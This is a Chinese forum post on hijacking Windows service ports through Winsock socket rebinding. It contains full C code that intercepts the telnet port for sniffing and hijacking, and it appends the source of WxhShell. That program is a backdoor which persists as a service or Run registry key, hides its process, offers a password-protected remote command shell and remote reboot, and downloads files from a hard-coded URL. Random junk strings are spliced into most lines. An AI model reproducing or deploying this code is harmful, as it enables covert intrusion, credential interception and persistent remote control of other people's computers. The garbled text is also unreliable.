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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9sI&&Jg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A hCqQ.O71  
(X3}&aLF  
  saddr.sin_family = AF_INET; ~ubcD6f  
sA|!b.q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O!U8"Yr$  
wR%F>[ 6.{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b3M`vJ+{  
NRI @M5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1Uaj}= @M  
579<[[6~d2  
  这意味着什么?意味着可以进行如下的攻击: f =MP1q[  
Zn{Y+ce7d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _Oc(K "v  
;xQNa}"V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Klj -dz  
>At* jg48  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !x$6wzKa  
8:sQB% BB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ef]<0Tm]:  
g@2f& m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t8ZzBD!dP  
@j`gx M_-O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s J{J@/5  
m FgrT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9-"!v0['  
.gclE~h.  
  #include QF4)@ r{2x  
  #include ^iqy|zNtn  
  #include { u %xc"0y  
  #include    Mpx98xcO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mc9JFzp  
  int main() `Fx+HIng,  
  { <]f{X<ef  
  WORD wVersionRequested; i?:#lbw_  
  DWORD ret; N#p%^GH  
  WSADATA wsaData; "8iIOeY-\  
  BOOL val; :SD#>eD0  
  SOCKADDR_IN saddr; ,}:}"cl  
  SOCKADDR_IN scaddr; | r,{#EE  
  int err; W P9PX  
  SOCKET s; h@5mVTb}i  
  SOCKET sc; Ye'=F  
  int caddsize; .#M'  
  HANDLE mt; V'XmMn)!  
  DWORD tid;   Hl,.6 >F?  
  wVersionRequested = MAKEWORD( 2, 2 ); ;\F3~rl  
  err = WSAStartup( wVersionRequested, &wsaData ); =@ '>|-w|  
  if ( err != 0 ) { TTS.wBpR,  
  printf("error!WSAStartup failed!\n"); 7r`A6 \ !  
  return -1; vPm&0,R*y:  
  } hPs7mnSW  
  saddr.sin_family = AF_INET; /AJ#ngXz  
   {9tKq--@E9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qno8qF*  
x<m{B@3T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); td:GZ %  
  saddr.sin_port = htons(23); 7~2b4"&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1@&i ju5  
  { 0w0\TWz*   
  printf("error!socket failed!\n"); ax]Pa*C}  
  return -1; 7QXA*.' F  
  } xWwQm'I2}  
  val = TRUE; cmpT_51~O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~i)m(65:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uxla,CCp-  
  { PSOW}Y|q  
  printf("error!setsockopt failed!\n"); ,_STt)  
  return -1; (;f7/2~`  
  } E8[{U8)[;5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hJr cy!P<a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O5:?nD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %\5 wHT+)  
> 3<P^-9L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -8j<`(M' 5  
  { >/*wlY!E  
  ret=GetLastError(); L/2{}l>D  
  printf("error!bind failed!\n"); av-l_iE  
  return -1; <M(Jqb cWa  
  } aq'd C=y  
  listen(s,2); PNm WZW*  
  while(1) @8IY J{=  
  { pF)}<<C  
  caddsize = sizeof(scaddr); OQ[E-%v1 R  
  //接受连接请求 XCQS_'D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 80PlbUBb!  
  if(sc!=INVALID_SOCKET) yc./:t1at>  
  { %9D$N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [@SLt$9"  
  if(mt==NULL) L0v& m  
  { Oeua<,]Z~  
  printf("Thread Creat Failed!\n"); 1b4aY> Z  
  break; G k'j<a  
  } Dj=OUo[[d  
  } _{.=zv|3  
  CloseHandle(mt); aE[>^~Lv}  
  } 5gZEcJ  
  closesocket(s); Yzr RnVr  
  WSACleanup(); l `D>h2]  
  return 0; czMu<@c [  
  }   g[VVxp!C<  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8"!Z^_y)  
  { fz%I'+!  
  SOCKET ss = (SOCKET)lpParam; 'r KDw06/  
  SOCKET sc; em^|E73  
  unsigned char buf[4096]; Qt+|s&HGt  
  SOCKADDR_IN saddr; L nQm2uF  
  long num; ]X:{y&g(  
  DWORD val; :D-xa!7  
  DWORD ret; fYy.>m+P1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G C'%s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >#?: x*[  
  saddr.sin_family = AF_INET; E<uOk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QNXxpoS#  
  saddr.sin_port = htons(23); r%pFq1/'!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f'OvG@  
  { 8>q% 1]X  
  printf("error!socket failed!\n"); %, et$1`g  
  return -1; sK0VT"7K  
  } <y!r~?  
  val = 100; ]Rh( =bg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v4_OUA>z,  
  { 3|Sy'J0'K  
  ret = GetLastError(); )V3(nZY  
  return -1; /\cu!yiX  
  } _|3TC1N$n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U!:!]DX(  
  { b',bi.FH  
  ret = GetLastError(); 4oV_b"xz~  
  return -1; ]A$^ l,  
  } PbUcbb17  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :IVMTdYf  
  { ^:DhHqvK  
  printf("error!socket connect failed!\n"); n/oipiYx  
  closesocket(sc); *}ee"eHs  
  closesocket(ss); jne9=Als5  
  return -1; eD{ @0&   
  } /lB0>Us  
  while(1) b+].Uc  
  { Mp"ci+Iu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KHecc/,,S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  OI_/7@L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nP\V1pgA  
  num = recv(ss,buf,4096,0); ]Wd`GI  
  if(num>0) .(7C)P{ .0  
  send(sc,buf,num,0); ]~00=nXFM/  
  else if(num==0) Eqmv`Z [_  
  break; M=[q+A  
  num = recv(sc,buf,4096,0); ]Uu(OI<)  
  if(num>0) xcZ%,7  
  send(ss,buf,num,0); Uk *;C  
  else if(num==0) 9MB\z"b?A  
  break; ?[ S >&Vq  
  } frmqBCVJ:  
  closesocket(ss); J4[x,(iq(  
  closesocket(sc); ))IgB).3M  
  return 0 ; o%+A<Ri  
  } [pW1=tI  
cl8_rt  
c7g.|R  
========================================================== Xh0wWU*  
sh !~T<yy  
下边附上一个代码,,WXhSHELL !q-:rW? c  
pcuMGo-#  
========================================================== ,dZ#,<  
l|vWeBs  
#include "stdafx.h" )_9e@ ~,  
9xK4!~5V  
#include <stdio.h> lbKv  
#include <string.h> @cu}3>  
#include <windows.h> )iEa2uJ  
#include <winsock2.h> ti{H(;;@  
#include <winsvc.h> yZ;k@t_WRD  
#include <urlmon.h> q!hy;K`Jd  
R(2HY Z  
#pragma comment (lib, "Ws2_32.lib") }RA3$%3  
#pragma comment (lib, "urlmon.lib") mEB2RLCM  
V#gF*]q  
#define MAX_USER   100 // 最大客户端连接数 xm}q6>jRV  
#define BUF_SOCK   200 // sock buffer Q{qj  
#define KEY_BUFF   255 // 输入 buffer (o x4K{  
2fkIdy#n@  
#define REBOOT     0   // 重启 +}c|O+6g  
#define SHUTDOWN   1   // 关机 RwAbIXG{0  
6(N.T+;]  
#define DEF_PORT   5000 // 监听端口 (30<oE{  
cg(QjH"  
#define REG_LEN     16   // 注册表键长度 lFp!XZ!  
#define SVC_LEN     80   // NT服务名长度 Kk!6B  
/S7+B ]  
// 从dll定义API ;[{:'^n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =bs.2aN&^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pu/m8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v87$NQvwQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nB cp7e  
oupJJDpP  
// wxhshell配置信息 do:QH.q8)  
struct WSCFG { 4R& *&GZ#  
  int ws_port;         // 监听端口 D^66p8t  
  char ws_passstr[REG_LEN]; // 口令 `pP9z;/Xq  
  int ws_autoins;       // 安装标记, 1=yes 0=no abM84EU  
  char ws_regname[REG_LEN]; // 注册表键名 Eyr5jXt%;  
  char ws_svcname[REG_LEN]; // 服务名 )8pc f`h{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bz~ -2#l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GN\8![J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kRmj"9oA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E^b pckP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7d3 'CQQ4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?Wwh _TO  
%z(9lAe  
}; ^Vag1 (hdq  
.D+RLO z  
// default Wxhshell configuration ^ [ET&"  
struct WSCFG wscfg={DEF_PORT, }C=Quy%Z<  
    "xuhuanlingzhe", iPMB$SdfO  
    1, OZG0AX+=#  
    "Wxhshell", aQ&uC )w  
    "Wxhshell", D ~Z=0yD  
            "WxhShell Service", ?#?e(mpo  
    "Wrsky Windows CmdShell Service", h]qT1( I  
    "Please Input Your Password: ", Y;8 >=0ye  
  1, 5!<o-{J[(=  
  "http://www.wrsky.com/wxhshell.exe", dY1J<L}")  
  "Wxhshell.exe" DYX-5~;!  
    }; mj)PLZ]  
WS5A Y @(~  
// 消息定义模块 pP3U,n   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EY]a6@;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; moCK- :  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )B81i! q  
char *msg_ws_ext="\n\rExit."; G=1m] >I8  
char *msg_ws_end="\n\rQuit."; |H:<:*=6c  
char *msg_ws_boot="\n\rReboot..."; H- 185]7  
char *msg_ws_poff="\n\rShutdown..."; 9X3yp:>V  
char *msg_ws_down="\n\rSave to "; P Q,+hq  
qh$X^%g  
char *msg_ws_err="\n\rErr!"; Lj iI+NJ  
char *msg_ws_ok="\n\rOK!"; j$+gq*I&E  
}?J~P%HpF  
char ExeFile[MAX_PATH]; zwnw'  
int nUser = 0; $R";  
HANDLE handles[MAX_USER]; [g+y_@9s  
int OsIsNt; @m?{80;uQ  
_e*c  
SERVICE_STATUS       serviceStatus; m`c#:s'_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X($6IL6m  
U%q:^S%#eG  
// 函数声明 [%jxf\9jJ_  
int Install(void); ) o xIzF  
int Uninstall(void); K@6`-|I  
int DownloadFile(char *sURL, SOCKET wsh); (`pNXQ0n  
int Boot(int flag); }'TTtV:Q  
void HideProc(void); O ^0"  
int GetOsVer(void); HVGr-/  
int Wxhshell(SOCKET wsl); /1[gn8V691  
void TalkWithClient(void *cs); *0~M  
int CmdShell(SOCKET sock); |Ytg  
int StartFromService(void); pqeL%="p;  
int StartWxhshell(LPSTR lpCmdLine); wLUF v(&C  
r4?b0&Xq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4>YU8/Rw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); waCboK'  
J\{ $ot  
// 数据结构和表定义 t:=k)B  
SERVICE_TABLE_ENTRY DispatchTable[] = MRs,l'  
{ w" JGO  
{wscfg.ws_svcname, NTServiceMain}, +#s;yc#=2  
{NULL, NULL} :+:6_x  
};  U(~U!O}  
.T$D^?G!D  
// 自我安装 hiwIWd:H  
int Install(void) 0[)VO[  
{ x@m<Ym-  
  char svExeFile[MAX_PATH]; xnbsg!`;7W  
  HKEY key; Me/\z^pF  
  strcpy(svExeFile,ExeFile);  M6Pw /S!  
7~b!4x|Z  
// 如果是win9x系统,修改注册表设为自启动 /.P9MSz0G  
if(!OsIsNt) { *d>vR1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HabzCH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Ms90oE/c  
  RegCloseKey(key); 6>,# 6{?jl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #6W,6(#^#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 62kb2C  
  RegCloseKey(key); p7C!G1+z  
  return 0; 2+'|kt2  
    } n3ZAF'  
  } hS:jBp,  
} XlkGjjW#/J  
else { ntGq" o  
[AR>?6G-  
// 如果是NT以上系统,安装为系统服务 O?ktWHUx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |s=`w8p  
if (schSCManager!=0) 73 V"s  
{ l}}UFEA^  
  SC_HANDLE schService = CreateService Hm9<fQuM  
  ( J :S'uxM  
  schSCManager, qC@Ar)T  
  wscfg.ws_svcname, S|K}k:v8  
  wscfg.ws_svcdisp, t1ze-Ht;  
  SERVICE_ALL_ACCESS, I:$"E% >=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SRL-Z&M  
  SERVICE_AUTO_START, vM4<d>  
  SERVICE_ERROR_NORMAL, f=aIXhiYU  
  svExeFile, r{[OJc!  
  NULL, ;h~er6&   
  NULL, H}nJbnU  
  NULL, JsQ6l%9  
  NULL, `;F2n2@  
  NULL o\6iq  
  ); k+1gQru{d  
  if (schService!=0) it1/3y =]  
  { 4# )6.f~  
  CloseServiceHandle(schService); uLVBM]Qj  
  CloseServiceHandle(schSCManager); +K{LQsR]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ddDS=OfH  
  strcat(svExeFile,wscfg.ws_svcname); mX\ ;oV!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _x %1F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q~Ea8UT. #  
  RegCloseKey(key); 2]ti!<  
  return 0; r:9gf?(&  
    } KQmZ#W%2m  
  } 3M<!?%v\A  
  CloseServiceHandle(schSCManager); QxpKX_@Q5  
} 8BoT%kVeJv  
} U!-+v:SF  
?H86Wbz  
return 1; %?9r(&  
} >7v.`m6?H  
=='{[[J  
// 自我卸载  F>oxnhp6  
int Uninstall(void) {J6sM$aj  
{ '|A5a+[  
  HKEY key; ek.WuOs  
A%czhF  
if(!OsIsNt) { Hpo?|;3D5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 36A.h,~  
  RegDeleteValue(key,wscfg.ws_regname); p31rhe   
  RegCloseKey(key); >^\>-U|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O[(HE 8E  
  RegDeleteValue(key,wscfg.ws_regname); <W[8k-yOV`  
  RegCloseKey(key); a]=vq(N'r  
  return 0; P+%)0*W  
  } mP .&fS  
} IWRq:Gw  
} jvQ+u L  
else { SlJ/OcAf#  
/zP)2q^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iYQy#kO  
if (schSCManager!=0) huD\dmQ:]  
{ 1*, ~1!>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7'/2:"  
  if (schService!=0) [tf^i:2  
  { >@89k^#Vc  
  if(DeleteService(schService)!=0) { 8cPf0p:  
  CloseServiceHandle(schService); 2?7hUaHX  
  CloseServiceHandle(schSCManager); 3 !w>"h0(  
  return 0; r ~!%w(N|M  
  } >,]e[/p  
  CloseServiceHandle(schService); :a!a  
  } y^|3]G3  
  CloseServiceHandle(schSCManager); OZ0%;Y0  
} Ol h%"=*;  
} CZ%"Pqy&1L  
h)RM9813<  
return 1; G]DN!7]@g  
} wQS w&G  
_ ,1kcDu  
// 从指定url下载文件 7MJ)p$&  
int DownloadFile(char *sURL, SOCKET wsh) 3rdxXmx  
{ *_rGBW  
  HRESULT hr; RIqxM  
char seps[]= "/"; 2Xs< 1rF  
char *token; n.UM+2G  
char *file; cYn}we}7  
char myURL[MAX_PATH]; ]BD5+>;  
char myFILE[MAX_PATH]; A-!qO|E[-  
e[&3K<  
strcpy(myURL,sURL); HZ4 ^T7G  
  token=strtok(myURL,seps); ^52R`{  
  while(token!=NULL) a2_IF,p*?  
  { Ijro;rsEKM  
    file=token; F9J9pgVP  
  token=strtok(NULL,seps); G'C^C[_W  
  } qc"/T16M]  
'=Y~Ir+  
GetCurrentDirectory(MAX_PATH,myFILE); Z'bMIdV  
strcat(myFILE, "\\"); TBfl9Q  
strcat(myFILE, file); ' *C)S  
  send(wsh,myFILE,strlen(myFILE),0); \)kAhKtG  
send(wsh,"...",3,0); 6T_c#G5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I _G;;GF  
  if(hr==S_OK) $gK>R5^G>  
return 0;  :!FwF65  
else /UyE- "S  
return 1; \1_&?( pU  
yvwcXNXR@  
} &}=,8Gt1G  
dj**,*s  
// 系统电源模块 '2{o_<m  
int Boot(int flag) ub&29Qte  
{ hKeh9 Bt  
  HANDLE hToken; :?W:'% (`[  
  TOKEN_PRIVILEGES tkp; K%Ml2V   
3_/d=ZI\  
  if(OsIsNt) { C}E ea~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G<1mj!{Vp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B6&Mtm1  
    tkp.PrivilegeCount = 1; jK1! \j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `d#_66TLr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aX:$Q }S  
if(flag==REBOOT) { ;r}<o?'RM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~;Kl/Z  
  return 0; ?! Gt. fb  
} 8G<.5!f7`N  
else { =Ybu_>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \ziF(xTvqG  
  return 0; Vd~k4  
} "rJL ^ \r  
  } vj0?b/5m  
  else { d a9 *>+[  
if(flag==REBOOT) { 0l*/_;wo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +M:Q!'  
  return 0; @DR&e^Zz  
} eD0@n :  
else { Q5JeL6t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $i Tgv?.Q  
  return 0; qsx1:Ny 1  
} Jsl,r+'H  
} i|Wn*~yFOO  
qZG >FC37  
return 1; #$E vybETx  
} ~gD]JiiA  
Ja1*a,],L  
// win9x进程隐藏模块 LX'US-B.!  
void HideProc(void) P2kZi=0  
{ #S)*MT4ke  
G$b4`wt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~MX@-Ff  
  if ( hKernel != NULL ) Ycwb1e#  
  { +FR"Gt$g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0a5P@;"a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rYJvI  
    FreeLibrary(hKernel); W%o){+,  
  } Jo ^ o`9  
Z[VKB3Pb8  
return; F)G#\r  
} .IgQn|N  
frt?*|:  
// 获取操作系统版本 Hw Is7  
int GetOsVer(void) EMo6$(  
{ \?Z dUY  
  OSVERSIONINFO winfo; {mDaK&]Oh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -#r_9HQ,w  
  GetVersionEx(&winfo); *HRRv.iQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZI1RB fR  
  return 1; WBGYk);  
  else C+Z"0\{o  
  return 0;  7)T+!>  
} >,v~,<3 i  
_rM%N+$&d_  
// 客户端句柄模块 Z7v~;JzC#  
int Wxhshell(SOCKET wsl) 4}CRM# W2  
{ )I#kG{z|P;  
  SOCKET wsh; @l8?\^N  
  struct sockaddr_in client; 8Xr3q eh+  
  DWORD myID; ;dnn 2)m  
B@4#y9`5  
  while(nUser<MAX_USER) n F-FoO98  
{ hug12Cu  
  int nSize=sizeof(client); `'>>[*06:a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {MS&t09Wh  
  if(wsh==INVALID_SOCKET) return 1; R8 KL4g-d  
-H \nFJ6+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dx~Wm1  
if(handles[nUser]==0) (#:Si~3  
  closesocket(wsh); )D^P~2  
else e#seqx  
  nUser++; H\^^p!^)  
  } ?:ZH%R_`a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `'93J wYb  
XEuv aM  
  return 0; AIeYy-f  
} I9MI}0}7  
I}:/v$btM  
// 关闭 socket )-9/5Z0v  
void CloseIt(SOCKET wsh) Mf *qr9*  
{ yF:fxdpw  
closesocket(wsh); X>CYKRtb  
nUser--; |oM6(px  
ExitThread(0); 4ldN0 _T5  
} b&ADj8cKC  
* n[6H  
// 客户端请求句柄 ~UnfS};U  
void TalkWithClient(void *cs) `XD$1>  
{ `8Om*{xg  
*-n$n  
  SOCKET wsh=(SOCKET)cs; CI,-q i  
  char pwd[SVC_LEN]; [7B&<zY/?  
  char cmd[KEY_BUFF]; E )PEKWK\  
char chr[1]; >3ODqRu  
int i,j; FUH1Z+9  
j04Q3d \f  
  while (nUser < MAX_USER) { HCP Be2  
7yc:=^ )  
if(wscfg.ws_passstr) { i"b*U5k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a}fW3+>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l`1ZS8 [.  
  //ZeroMemory(pwd,KEY_BUFF); h$k(|/+  
      i=0; G0^PnE0-  
  while(i<SVC_LEN) { *8Lym,]  
>):b AfI  
  // 设置超时 DJ\lvT#j  
  fd_set FdRead; C>;}CH|X  
  struct timeval TimeOut; QCjmg5bf'7  
  FD_ZERO(&FdRead); 9uq| VU5  
  FD_SET(wsh,&FdRead); X@cV']#V  
  TimeOut.tv_sec=8; T}zi P  
  TimeOut.tv_usec=0; \/5 8#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :!|xg! |y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l +#`  
iX,Qh2(ig  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %=| I;kI?  
  pwd=chr[0]; 6q5V*sJ&  
  if(chr[0]==0xd || chr[0]==0xa) { M_PL{  
  pwd=0; wU=(_S,c  
  break; hP|5q&wX  
  } M- -6oR7  
  i++; TKmC/c  
    } u%T.XgY=j  
?6[>HX;  
  // 如果是非法用户,关闭 socket 3U}z?gP[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lrk^<:8;  
} T"2ye9a  
^RY_j>i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F|"NJ*o}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xX&*&RPZ  
DZ EA*E>  
while(1) { ";GLX%C!{@  
HO wJ 2L  
  ZeroMemory(cmd,KEY_BUFF); c,+oH<bZZs  
Fa;CWyt  
      // 自动支持客户端 telnet标准   KsHMAp3  
  j=0; t!PFosFp  
  while(j<KEY_BUFF) { $u`;{8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQj8;LU  
  cmd[j]=chr[0]; alq>|,\x  
  if(chr[0]==0xa || chr[0]==0xd) { 3fGy  
  cmd[j]=0; +tuC845  
  break; Hiq9Jn uv(  
  }  - @  
  j++; 'vh:(-  
    } )2R:P`U  
44n^21k  
  // 下载文件 haY.rH]z  
  if(strstr(cmd,"http://")) { +pDuRr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D,J's(wd  
  if(DownloadFile(cmd,wsh)) @ws3X\`<C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :FK(*BUh  
  else ??k^Rw+0R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;8U NM  
  } Qs~;?BH&  
  else { N<?RN;M  
M34*$>bk  
    switch(cmd[0]) { G66vzwO   
  SA}]ZK P  
  // 帮助 '!Q[+@$  
  case '?': { ;N i+TS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u dH7Q&"  
    break; lPx4I  
  } B:Msn)C~  
  // 安装 R_(A&,  
  case 'i': { <~f/T]E,  
    if(Install()) U|iSJ%K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ UQzCqV  
    else  8sE@?,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .(3B}}gB>  
    break; qA&N6`  
    } ;c~6^s`2  
  // 卸载 ?e yo2:-$  
  case 'r': { e PlEd'Z  
    if(Uninstall()) @| r*yi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CkIICx  
    else ,p0R 4gi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z[V|W  
    break; WCU[]A  
    } spgY &OI;  
  // 显示 wxhshell 所在路径 .~C*7_  
  case 'p': { T*O!r`.Ak  
    char svExeFile[MAX_PATH]; ~M+|g4W%  
    strcpy(svExeFile,"\n\r"); oO!@s`  
      strcat(svExeFile,ExeFile); X+Xjf(  
        send(wsh,svExeFile,strlen(svExeFile),0); %I[(`nb  
    break; !PJ;d)\T  
    } j2g#t  
  // 重启 m?bb/o'B  
  case 'b': { <#LH L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zN*/G6>A  
    if(Boot(REBOOT)) ;OE{&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pT:CvJ  
    else { hAKyT~[n0  
    closesocket(wsh); ?}lgwKBHl;  
    ExitThread(0); 8Q?)L4.]  
    } 6D@tCmmq  
    break; H+\rCefba  
    } @D Qg1|m  
  // 关机 :>;-uve8'  
